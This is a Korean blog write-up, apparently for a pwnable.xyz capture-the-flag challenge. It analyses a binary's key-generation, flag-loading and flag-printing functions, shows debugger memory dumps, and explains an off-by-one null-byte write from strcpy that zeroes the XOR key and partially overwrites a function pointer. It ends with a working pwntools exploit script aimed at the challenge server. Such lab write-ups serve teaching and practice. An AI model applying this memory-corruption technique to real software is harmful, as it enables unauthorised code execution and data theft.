image

꽤 단순하지는 않은 구조이다. 각 함수를 보면서 취약점을 찾아보자.

먼저 main 함수는 generate_key 함수를 실행 후, 숫자를 받아서 1이면 generate_key 함수를 실행하고, 2이면 load_flag 함수를 실행하고, 3이면 print_flag 함수를 실행한다.

image

generate_key 함수는 a1이라는 매개변수를 받아 1 이상 64 이하인지 체크후, 그만큼 key를 재생성한다. 즉, 원래 key가 64바이트고, a1으로 48을 주면 처음 48자리가 다시 랜덤으로 바뀌고, 그 뒤 16바이트는 전에 생성한 그대로 남아있다.

사실 여기까지만 보고 취약점이 어디있지라고 생각했는데 뒤에 디버깅을 하면서 취약점을 알게 되었다.

image

load_flag 함수는 /flag 파일을 열어 64바이트만큼 읽어오고 key와 XOR 연산을 한다. 로컬에는 /flag라는 파일을 만들어서 진행하였다.

image

print_flag는 보고 확 와닿지가 않았다. do_comment의 첫번째 byte가 0이면 if문을 실행하는데 이는 디버깅을 하면서 살펴보자.

How to Exploit

이 문제에 취약점은 generate_key 함수에 하나, print_flag 함수에 하나씩 있다.

Weakness

generate_key()

main함수 실행 후 key를 보면 다음과 같이 난수가 되어 있다.

0x555555756040 <key>:    0xa37eaf6d9a77fdfd    0x4b4d9331dd378f1d
0x555555756050 <key+16>:    0x8f0a821ae3577647    0x869255f7c762a8fa
0x555555756060 <key+32>:    0x2444f75654dcf5f7    0x8d0fd90609f4e1e6
0x555555756070 <key+48>:    0x09e61c9d861df2f2    0x00b53aa99418beff

그래서 그냥 generate_key 함수를 다시 실행할 때 매개변수로 1을 줘보았다.

0x555555756040 <key>:    0xa37eaf6d9a77000c    0x4b4d9331dd378f1d
0x555555756050 <key+16>:    0x8f0a821ae3577647    0x869255f7c762a8fa
0x555555756060 <key+32>:    0x2444f75654dcf5f7    0x8d0fd90609f4e1e6
0x555555756070 <key+48>:    0x09e61c9d861df2f2    0x00b53aa99418beff

전의 값과 비교를 해보면 1, 2번째 값이 바뀌었다. 근데 어? 2번째 값이 00이 된다. strcpy를 할 때 문자열 끝에 있는 null까지 복사해서 그런가보다. 인자를 주었을 때 key의 그 상위 바이트는 변하지 않고 기존 key의 값과 같다는 것을 이용하여 주소가 큰 값부터 null로 바꾸면 첫번째 바이트를 제외하고 모두 null로 바꿀 수 있다.

그 후에 load_flag 함수를 하면 /flag 값이 첫 바이트를 제외하고 그대로 메모리의 flag에 들어가게 된다. 그런데 첫 바이트는 무조건 flag의 f일테니 상관없다.

print_flag()

사실 이 함수는 잘 감이 안와서 디버깅해보았다. if문을 실행하고 난 뒤에 do_comment에 들어있는 값이다.

0x555555756080 <do_comment>:    0x0000555555554b1f

주소값 같은 게 들어가 있고 확인해보니 f_do_comment의 함수값이다.

image

또한 do_comment의 값을 그대로 call하기 때문에 do_comment의 값을 변조하여 우리가 원하는 주소로 옮길 수 있다.

real_print_flag()

이 함수는 실제로 flag를 %s 로 출력해준다. 이 함수는 b00 에 있기 때문에 do_comment의 첫번째 바이트만 0으로 바꿔주면 일로 이동할 수 있다. 어? generate_key 함수에서 64를 입력하면 65번째에는 do_comment의 첫번째 바이트가 있기 때문에 이 값이 0이 된다.

image

Exploit Code

from pwn import *

#p = process('./challenge')
p = remote('svc.pwnable.xyz', 30006)

p.sendlineafter('> ', '3')
p.sendlineafter('? ', 'y')

i = 64
while i >= 1:
    print(i)
    p.sendlineafter('> ', '1')
    p.sendlineafter('len: ', str(i))
    i -= 1

p.sendlineafter('> ', '2')
p.sendlineafter('> ', '3')
p.sendlineafter('? ', 'n')

print(p.recv(1024))

Capture The Flag

image

'Writeup [pwn] > pwnable.xyz' 카테고리의 다른 글

Two Targets - 2  (0) 2020.03.07
Two Targets - 1  (0) 2020.03.07
Sub  (0) 2020.03.07
Note  (0) 2020.03.07
Misalignment  (0) 2020.03.07

+ Recent posts